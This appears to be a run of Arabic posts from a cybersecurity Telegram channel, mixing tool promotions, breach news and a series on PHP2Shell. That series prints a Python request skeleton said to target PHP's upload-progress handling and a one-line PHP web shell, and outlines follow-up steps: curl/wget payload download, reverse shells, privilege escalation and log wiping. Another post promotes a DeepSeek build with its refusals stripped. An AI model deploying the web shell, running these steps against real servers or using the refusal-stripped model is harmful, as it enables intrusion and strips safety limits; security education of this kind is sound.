سايبر لاب || Cyber Lab

اشتراك ChatGPT Plus مجاناً لمدة شهر! 🔥 تجربة مجانية لمدة شهر 🤩 الطريقة عبر المتصفح فقط: 1️⃣ ادخل على الرابط: chatgpt.com/ar/plans/plus/ 2️⃣ اختر (جرّب Plus) وسجّل الدخول بحسابك. 3️⃣ بعد تسجيل الدخول بيظهر لك العرض المجاني. 4️⃣ اختر التجربة المجانية وأكمل عملية الدفع. ✅ وراح يتفعل معك اشتراك ChatGPT Plus لمدة شهر مجاناً.. @Cyberlab10

🚨 أداة ذكاء اصطناعي مرعبة ستخترق موقعك بالكامل.. والأفضل أن تدعها تفعل ذلك قبل أن يفعله هكر حقيقي! 🌐💀🧵 ​تعرّف على Shannon؛ مشروع مفتوح المصدر أحدث زلزالاً على GitHub بتجاوزه 50 ألف نجمة في وقت قياسي! 👇 ​🔥 تعطيه رابط موقعك.. فيتحول فوراً إلى "وضع الهجوم": ​1️⃣ بحث واستكشاف: يبحث بعمق عن الثغرات وطرق الاختراق الممكنة. 2️⃣ اختبار حقيقي: يطلق هجمات حقيقية للتأكد مما إذا كانت الثغرة قابلة للاستغلال فعلياً أم لا. 3️⃣ صفر إنذارات كاذبة: إذا لم يستطع استغلال الثغرة وإثباتها، لن يزعجك بتنبيهات وهمية! 4️⃣ تقرير احترافي: يقدم لك تقريراً شاملاً بصيغة PDF + SARIF يحدد ما يمكن كسره بالضبط وكيفية إصلاحه. ​⚡ مميزات تقنية تجعلها الأقوى: ​• مرونة النماذج: يمكنك ربطها بأي نموذج تفضله (Grok, Claude, GPT, DeepSeek) أو حتى نموذج محلي (Local AI). • أتمتة كاملة: تعمل مباشرة داخل GitHub Actions وGitLab CI لتفحص أمان موقعك تلقائياً مع كل تحديث برمجي تنشره! رابط الاداه: https://github.com/KeygraphHQ/shannon @Cyberlab10

🚨 تشغيل DeepSeek-V4.1 مجانا وبلا قيود على كرت 12GB GPU فقط! 🔥 كسر قيود النموذج الأحدث وإلغاء الرفض تماماً من 85% إلى 0% حتى أثناء التفكير العميق! 1️⃣ أداء خارق بأقل الإمكانيات: تشغيل النماذج (بـ 3 أحجام مختلفة) بفضل تقنية Strata باستخدام 64GB RAM + SSD فقط دون الحاجة لكروت شاشة عملاقة! 2️⃣ حرية برمجية كاملة: تجاوز فلاتر الرقابة بالكامل للحصول على استجابات دقيقة ومباشرة للمطورين والباحثين. توطين النماذج الضخمة محلياً على عتاد متوسط أصبح واقعاً يُلغي التحكم السحابي بالكامل! 🌐 🔗 رابط تحميل النسخ المكممة (Quants) والتثبيت👇 https://huggingface.co/AtomicChat/DeepSeek-V4.1-Flash-1017-Uncensored-GSQ-RCO-GGUF

🙂

البرومبت (Prompt) المستخدم لفحص وتسريع اكتشاف أدوات التجسس على الماك. اللي استخدمه المهندس لفحص جهازه. prompt that caught it: "Audit this laptop for anything that records, watches or phones home without me knowing. Detect the OS first (Windows, macOS or Linux) and use its native tools. Work read-only: report everything, change nothing until I say yes 1. Map everything that starts on its own: Startup folders, Run and RunOnce registry keys, Scheduled Tasks and services on Windows; login items, LaunchAgents and LaunchDaemons on macOS; systemd units, cron and autostart on Linux. For each one show the file behind it, its signature and publisher, and its install date. Flag anything unsigned, added in the last 18 months or hiding in AppData, Application Support or /tmp 2. Find out who used the camera and microphone. On Windows read the CapabilityAccessManager ConsentStore for webcam and microphone with every app's last start and stop time. On macOS list Camera, Microphone, Screen Recording and Accessibility permissions and check the system log for camera sessions. Flag any app that used them at night or while I wasn't in a call 3. Search my user folders and app data for video, audio and screenshot files I didn't create, especially in folders with thousands of timestamped files. Group them by folder, read their metadata and match each folder to the process that writes there 4. List every open network connection and the process behind it, plus any remote access tool (AnyDesk, TeamViewer, VNC, RustDesk) and browser extension with camera, microphone or "read all sites" access. Mark which ones I never installed myself 5. Give me a ranked list of what to stop, remove and block, the exact commands for each step and one script that undoes every change. If anything suspicious ran, tell me what to rotate first: passwords saved in the browser, exchange API keys, 2FA, and crypto wallets that were ever opened on this laptop"

🚨 تحذير أمني مرعب: كيف كشف اختراق Binance عن كارثة تجسس حقيقية داخل جهازه المحمول! 💥 بعد استهداف Binance وسحب مئات الملايين من محافضها، أكد مؤسسها CZ أن اختراقات هذا الحجم لا تبدأ عادة بتعقيدات برمجية في الشبكة، بل بذات الطريقة التي أطاحت بـ Bybit سابقاً: اختراق جهاز محمول واحد لمهندس تقني! ⚠️ هذا التحذير دفع أحد المطورين للاستعانة بـ Claude Code لفحص جهازه (MacBook).. وكانت الصدمة المروعة: 👇 1️⃣ أكثر من 18,000 صورة وفيديو سرّي! وجد الذكاء الاصطناعي 18,742 صورة ومقطع فيديو مسجلة كاملاً عبر كاميرا الماك، مدمجة بالصوت والوقت والتاريخ، ومخبأة عميقاً داخل مجلد تخزين تطبيق خفي، يعود تاريخ أقدمها لـ 14 شهراً 2️⃣ تسجيل حي ومباشر حتى آخر ثانية: عندما فتح المجلد، اكتشف أن آخر مقطع تـم تسجيله كان قبل 12 ثانية فقط، ويظهره وهو ينحني نحو الشاشة لمراجعة الملفات ذاتها 3️⃣ إيقاف عملية التجسس بالـ AI: تتبع Claude Code العمليات الشغالة في الخلفية (Background Processes)، وحدد أداة التسجيل التي تعمل تلقائياً مع تسجيل الدخول، وأوقفها فوراً ليغلق الثغرة قبل فوات الأوان. قد لا تتمكن من منع الاختراق القادم للمنصات الكبرى، لكن يمكنك حماية نفسك وأجهزتك الشخصية من أن تكون الخاصرة الرخوة والشرارة الأولى للكارثة! @Cyberlab10

تشتي تتدرّب على #SIEM بدون وجع راس التثبيت والإعدادات؟ CSI Linux توفر CSI SIEM Virtual Appliance جاهزة، تنزّلها وتشغّلها على طول 🔥 🔹 متوفرة لـ VirtualBox و VMware 🔹 بيانات الدخول موجودة في الصفحة 🔹 مناسبة لتطبيق مهام الـ SOC وتحليل السجلات (Logs) 🎁 وفي نفس الموقع: نظام CSI Linux للتحقيق الجنائي الرقمي (DFIR) و OSINT @cyberlab10

🚨 أداة مجانية جديدة تحذف رقمك وعنوانك من مواقع البحث عن الأشخاص! اسمها NEWMOON، وتشتغل باستخدام Grok Bot. تكتب اسمك، فيظهر لك كل المواقع التي تنشر رقم هاتفك وعنوان منزلك (73 موقعاً). بعدها يتكفل Grok Bot بتقديم طلبات الحذف، تأكيد الإيميلات، ويعيد الفحص كل شهر. الخدمات المدفوعة مثل DeleteMe تطلب 129 دولاراً سنوياً لنفس الشيء. هذه الأداة مجانية تماماً. لا يُرسل أي شيء إلا بعد موافقتك، ولا تحتاج هوية أو بطاقة @cyberlab10

ثلاثة مسارات مختلفة إلى RCE

تعتمد هذه الثغرات على استغلال الثقة في أنواع مختلفة من المدخلات داخل التطبيق وقد تؤدي جميعها إلى تنفيذ كود على السيرفر لكن آلية الوصول إلى التنفيذ تختلف من ثغرة إلى أخرى.

- Deserialization

تحدث المشكلة عندما يعيد التطبيق بناء كائنات من بيانات غير موثوقة وتؤدي خصائص هذه الكائنات أو الدوال المرتبطة بها إلى الوصول إلى عملية خطرة.

- SSTI (Server-Side Template Injection)

تحدث عندما يستطيع المستخدم التحكم في مصدر القالب الذي يعالجه محرك القوالب مما قد يسمح بتقييم تعبيرات غير مقصودة داخل السيرفر .

- File Upload

تحدث المشكلة عندما يُعالج الملف المرفوع أو يُفسر بطريقة غير آمنة وقد يصل الأمر إلى تنفيذ كود إذا كانت إعدادات السيرفر ومسار الملف يسمحان بذالك .

الفرق الأساسي بين هذه المسارات هو موضع الخلل : إعادة بناء الكائنات في Deserialization وتقييم القالب في SSTI ومعالجة الملف أو تفسيره في File Upload. المنشورات التالية بيتم تفصيل كل نوع بصورة مستقلة واكثر تفصيل .

هذه الاداة مفيده جدا للمبرمجيين والمطورين. تكمل تبني تطبيقك، وبعدين تختبره في الإداه المذكورة في المنشور اعلاه، و تظهر لك كل الثغرات والأخطاء البرمجية التي قد يغفل عنها الكثير من المبرمجين، قبل تسليمها للعميل. رهيبه جدااا. @cyberlab10

🚨 اختباراتك تفحص فقط ما فكّر فيه فريقك.. أما باقي الأخطاء فيكتشفها عملاؤك بعد الإطلاق! أداة جديدة تقلب هذه المعادلة تماماً 🤯 إنها Breken، أطلقت للتو بشعار: "Production قبل الـ Production". فكرتها بسيطة ومرعبة: بدلاً من أن يكون المستخدم هو من يكتشف الكارثة، تبني لتطبيقك عالماً كاملاً يشبه الواقع وتحاول كسره بنفسها. 🔥 كيف تعمل؟ • تعيد بناء نظامك بالكامل على أجهزتها، والخدمات الخارجية (الدفع، البريد، قاعدة البيانات، الطوابير) تُجاب داخل بيئة معزولة • تسرّع الزمن 4,000 مرة، فتتراكم حسابات وسجلات ومهام معلقة وجلسات مفتوحة كأن التطبيق يعمل منذ شهور • تطلق مستخدمين ووكلاء AI افتراضيين: مدير مستعجل، مستخدم يفتح نفس المستند في تبويبين، Agent ينفذ استرداد أموال من البريد • تغيّر شرطاً واحداً في كل مرة: Retry، رد ضائع، قفزة في الساعة، أو Deploy في منتصف مهمة • لا تعتبر الخطأ حقيقياً إلا إذا تكرر في كل مرة، ثم تعطيك الحالة والـ Trace بالضبط مع Pull Request جاهز بالإصلاح 📊 الأرقام: • على 235 خطأً حقيقياً أبلغ عنها مستخدمون في 33 منتجاً، اكتشفت Breken منها 76 • مقابل 37 فقط لـ Fable 5.1، و28 لـ GPT-6 Astra • وبثلث عدد الإنذارات الكاذبة مقارنة بـ Fable • رصيد إضافي مجاني للشركات الناشئة لتجربتها. إذا كنت تبني تطبيقك بسرعة بالذكاء الاصطناعي، فهذه هي الطبقة التي تحميك من أن يكون أول مختبر حقيقي لمنتجك هو عميلك الغاضب 💥 @cyberlab10

🚨 ما يحدث الآن في عالم الأمن السيبراني أخطر بمليون مرة من حادثة Hugging Face.. نحن أمام زلزال تقني ونقطة تحول مرعبة! الهجمات المدعومة بالذكاء الاصطناعي تضرب المؤسسات الحقيقية في الصميم، بينما المنصات الكبرى تتهاوى وتكشف عن اختراقات وثغرات قاتلة. تذكروا هذا اليوم جيداً.. لقد انتقلنا رسمياً من عصر "الهجمات التقليدية" إلى عصر "حرب الذكاء الاصطناعي الذاتي"! الخطر السيبراني أصبح يهدد الجميع بلا استثناء! 🔥

🚨 أيام عصيبة على الإنترنت في الـ5 أيام الماضية شهد عالم الانترنت موجة من هجمات سيبرانية وثغرات خطيرة. أبرزها: 🔴 PHP2Shell ثغرتان حرجتان في PHP تسمح بتنفيذ أوامر عن بُعد بدون تسجيل دخول. تؤثر على ملايين المواقع (وردبريس وغيرها). 🤖 LiteLLM اختراق حزمة ذكاء اصطناعي شهيرة ونشر نسخة خبيثة تسرق بيانات الاعتماد 🔗 ConnectWise هجوم سلسلة توريد صيني استهدف خدمة النسخ الاحتياطي السحابي وأثر على عملاء Microsoft 365 🇯🇵 Onamae Desktop Cloud اختراق خدمة VPS يابانية وزرع برامج خبيثة على أكثر من 26 ألف سيرفر 📉 Zeabur إغلاق المنصة نهائيًا بعد اختراق كشف حوالي 3.2 مليون سر وبيانات مئات الآلاف من الحسابات 🔧 OVHcloud CLI اختراق حساب مطور وزرع سارق أسرار داخل إصدارات الأداة الرسمية 🇮🇳 بنك الدولة الهندي (SBI) ظهور آلاف سجلات العملاء على الويب المظلم 🍔 Burger King Japan اختراق كشف بيانات أكثر من 11 مليون عميل 🇺🇸 كاليفورنيا (طلاب المدارس) اختراق كبير كشف بيانات ملايين الطلاب من 2023 في المدارس العامة بكاليفورنيا (أسماء، تواريخ ميلاد، عناوين، وحالة إعاقة). المهاجمون استخدموا بيانات دخول مسروقة وظلوا داخل النظام أشهر @cyberlab10

• يبدأ المهاجم بتشغيل أدوات فحص داخلية للبحث عن ثغرات في نظام التشغيل نفسه (Kernel Vulnerabilities) للارتقاء بصلاحياته من مستخدم عادي إلى المستخدم الخارق (Root / Administrator)، وهو ما يمنحه السيطرة المطلقة على السيرفر بأكمله وليس الموقع فقط. 5. مسح السجلات والتخفي (Clearing Logs) يقوم المهاجم بمسح سجلات الأخطاء وسجلات الوصول (Access Logs) التي قد تظهر الطلبات الغريبة التي أرسلها، لمنع مسؤولي الأمن (SOC Analysts) من اكتشاف الاختراق أو تتبع مصدر الهجوم. بعد أن ينجح المهاجم في تثبيت وجوده داخل الخادم والحصول على الصلاحيات الكاملة، لا يتوقف عند مجرد الاختراق، بل ينتقل إلى مرحلة إلحاق الضرر المباشر وتحقيق المكاسب، تشفير البيانات وطلب الفدية أو سرقة وتفريغ قواعد البيانات، وأقل شيء يقوم به تشويه واجهة الموقع لأغراض سياسية أو نشر رسالة لإلحاق ضرر بالغ بسمعتها العامة. #HackerNews #PHP2Shell #PHP

أولاً: كيف يجد المهاجمون الخادم المصاب؟ (آلية جمع الأهداف) لا يبحث المهاجمون عن الموقع بالاسم، بل يعتمدون على أساليب مسح مؤتمتة واسعة النطاق (Mass Scanning): 1. محركات بحث البنية التحتية: استخدام منصات مثل Shodan و Censys للبحث عن الخوادم التي تعلن في الـ HTTP Headers الخاصة بها عن تشغيل لغة PHP (مثل لافتة X-Powered-By: PHP). 2. المسح الشامل لـ IPv4: استخدام أدوات فحص سريعة جداً مثل Masscan للتحقق من المنافذ المفتوحة (80 و 443) وإرسال طلبات فحص أولية لمعرفة نوع التقنية. 3. البحث عن الـ IP الأصلي: محاولة تجاوز جدران الحماية (مثل Cloudflare) عبر استغلال سجلات الـ DNS التاريخية للوصول المباشر إلى عنوان الـ IP الحقيقي للخادم وقصفه بالطلب الخبيث. ثانياً: الهيكل المفاهيمي لطلب الاستغلال (Conceptual PoC) تتميز هذه الثغرة بأنها تنجح في استغلال الخادم قبل أن يبدأ كود الموقع (مثل WordPress أو Laravel) في العمل، وتحديداً أثناء معالجة الخادم لعمليات رفع الملفات وتتبع الجلسات دون الحاجة لأي صلاحيات دخول (Unauthenticated). لأغراض تعليمية، إليكم نموذج برمجي مبسط يوضح كيف يصيغ المهاجمون طلب الويب للتلاعب بذاكرة الخادم:

import http.client
def send_php2shell_educational_poc(host, port, path):
    # إعداد الحدود العشوائية لطلب multipart لرفع الملفات
    BOUNDARY = "----WebKitFormBoundaryPHP2Shell"
    # صياغة محتوى الطلب الذي يستهدف ميزة تتبع رفع الملفات في PHP
    body = (
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
        f"exploit_trigger\r\n"
        f"--{BOUNDARY}\r\n"
        f'Content-Disposition: form-data; name="rawkey"; filename="payload.txt"\r\n'
        f"Content-Type: text/plain\r\n\r\n"
        f"Conceptual_Data_Padding_Here\r\n" 
        f"--{BOUNDARY}--\r\n"
    )
    # إرسال طلب POST الفردي غير المصادق عليه مباشرة إلى الخادم المستهدف
    conn = http.client.HTTPConnection(host, port, timeout=10)
    headers = {
        "Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
        "Content-Length": str(len(body)),
        "Cookie": "PHPSESSID=test_session_id"
    }
    conn.request("POST", path, body=body, headers=headers)
    response = conn.getresponse()
    print(f"[-] Status Received: {response.status}")

بمجرد أن ينجح المهاجم في إرسال طلب الويب الخبيث وإحداث خلل الذاكرة (Memory Corruption) المطلوب، تبدأ مرحلة التثبيت والسيطرة الفعلية. الطلب الأول يفتح الثغرة فقط، لكن الخطوات التي تليها مباشرة تهدف إلى تحويل هذا الاختراق العابر إلى وجود دائم ومخفي داخل السيرفر. إليكم الخطوات المتتالية التي يتخذها المهاجم فوراً بعد نجاح ثغرة الذاكرة: 1. تشغيل الـ Payload الأولي (Execution Stage) عندما ينهار محرك PHP داخلياً بسبب نفاد الذاكرة أو بقاء الحالة العالمية، يجبر المهاجم المعالج على القفز إلى العناوين البرمجية التي تحتوي على الكود الخاص به (Payload). غالباً ما يكون هذا الكود عبارة عن أمر نظام (System Command) بسيط مثل: • على أنظمة لينكس: تشغيل أمر تحميل برمجيات أوسع عبر curl أو wget. • على أنظمة ويندوز: تشغيل أمر عبر powershell أو cmd. 2. زرع "الباب الخلفي" المُلتحم بالويب (Dropping a Web Shell) بما أن استغلال ثغرة الذاكرة معقد وقد لا ينجح في كل مرة، فإن أول هدف للمهاجم هو زرع ملف برميجي دائم (Web Shell) داخل مجلدات الموقع العامة (مثل مجلد الصور أو ملفات رفع المستخدمين). • يقوم المهاجم بكتابة ملف خفي (مثلاً: image_thumb.php أو .system.php) يحتوي على سطر برمجي بسيط يتيح له التحكم بالسيرفر عبر المتصفح لاحقاً دون الحاجة لإعادة استغلال الثغرة، مثل:

<?php system($_GET['cmd']); ?>

3. إنشاء اتصال عكسي للمخترق (Reverse Shell) لأن فتح الملفات عبر المتصفح قد تكتشفه جدران الحماية، يفضل المهاجمون المحترفون إنشاء اتصال عكسي. يقوم الخادم المخترَق (الموقع الحكومي أو الخاص) بفتح اتصال خارجي صادر (Outbound) والاتصال بجهاز المهاجم مباشرة. • تكمن خطورة هذه الخطوة في أن معظم جدران الحماية للشركات تمنع الاتصالات الواردة (Inbound) لكنها تسمح بالاتصالات الصادرة من السيرفر إلى الإنترنت، مما يمنح المهاجم شاشة تحكم كاملة بـ الـ Terminal الخاص بالسيرفر. 4. فحص الصلاحيات ومحاولة الارتقاء بها (Privilege Escalation) في الوضع الطبيعي، تعمل لغة PHP تحت صلاحيات مستخدم محدود جداً على السيرفر (مثل www-data أو apache).

شهدت الساعات الماضية حالة طوارئ سيبرانية عالمية 🌍 أدت إلى تعليق مؤقت لعدد من المواقع الحكومية والخدمية في أوروبا، وذلك بعد الكشف عن ثغرتين حرجتين في نواة لغة PHP يحملان الرموز CVE-2026-109618 و CVE-2026-109619 (والمعروفتين معا باسم PHP2Shell) 🛡. بما أن لغة PHP تشغل نحو 76% من شبكة الإنترنت العالمية 📊، فإن الخطر لا يقتصر على الجهات الحكومية بل يمتد لكل سيرفر لم يتم تحديثه بعد ⚠️. برمجيًا، لا يحتاج المهاجم إلى تسجيل الدخول أو إرسال بيانات اعتماد (مثل اسم المستخدم أو كلمة المرور) 🔓. يظهر الطلب الخبيث (Single Unauthenticated Request) كطلب ويب اعتيادي من نوع POST مٌعدّ لرفع الملفات والبيانات، ولكنه يحتوي على معايير خبيثة مصممة بدقة للتلاعب بذاكرة خادم الويب قبل أن يبدأ تشغيل أي سكريبت داخل الموقع المستهدف (مثل WordPress أو Drupal) 💻. #HackerNews #PHP2Shell #PHP

تسمح الثغرتان بتنفيذ برمجيات خبيثة عن بُعد دون الحاجة لصلاحيات أو مصادقة مسبقة 🛡⚠️، أصدر مطورو PHP تحديثات عاجلة، وقامت شركات مثل Cloudflare بتحديث قواعد الحماية المؤقتة. الخطر لا يقتصر على المواقع الحكومية فقط، لأن لغة PHP تعد بمثابة العمود الفقري لشبكة الإنترنت العالمية 🌐، حيث تشغل نحو 76% من جميع مواقع الويب التي تدار بأنظمة إدارة المحتوى المعروفة. بعد قليل ننشر "نموذج توضيحي لهيكل الطلب" كـ (PoC) تعليمي لفهم آلية صياغة الطلب 📝. #HackerNews #PHP2Shell #PHP

أدى اكتشاف ثغرتين أمنيتين خطيرتين في لغة البرمجة PHP اليوم الأربعاء 21 أكتوبر 2026، إلى حالة طوارئ عالمية 🌍، وتعليق مؤقت لمئات المواقع الحكومية والخدمية حمايةً لها من أي استغلال محتمل 🛡. في فرنسا أوقفت وزارة الداخلية المواقع الإدارية التابعة للسلطات المحلية مؤقتااً 🇫🇷، وفي هولندا شمل الإيقاف البوابة الحكومية وموقع ميناء روتردام وبعض المستشفيات 🇳🇱، أما فنلندا فعلّقت الجهة المزودة لتكنولوجيا المعلومات خدمات الشبكة العامة الحكومية 🇫🇮، أما في أمريكا فأصدرت وكالة الأمن القومي الأمريكية تحذيرًا شديد اللهجة ذكرت فيه أن الثغرتين توفران للمهاجمين "طريقًا مباشرًا للوصول إلى أنظمة ملفات الخوادم وقواعد البيانات" 🇺🇸. الثغرتان الحرجتان اللتان أحدثتا حالة الطوارئ السيبرانية هما CVE-2026-109618 المرتبطة بخلل في التعامل مع نفاد الذاكرة 💾، و CVE-2026-109619 المتعلقة ببقاء الحالة العالمية بعد تحريرها. ويطلق على هاتين الثغرتين، اللتين حصلتا على تقييم خطورة بلغ 9.2 من أصل 10 وتتيحان التنفيذ المباشر للأوامر عن بُعد، مجتمعتين اسم PHP2Shell 🐛. #HackerNews #PHP2Shell #PHP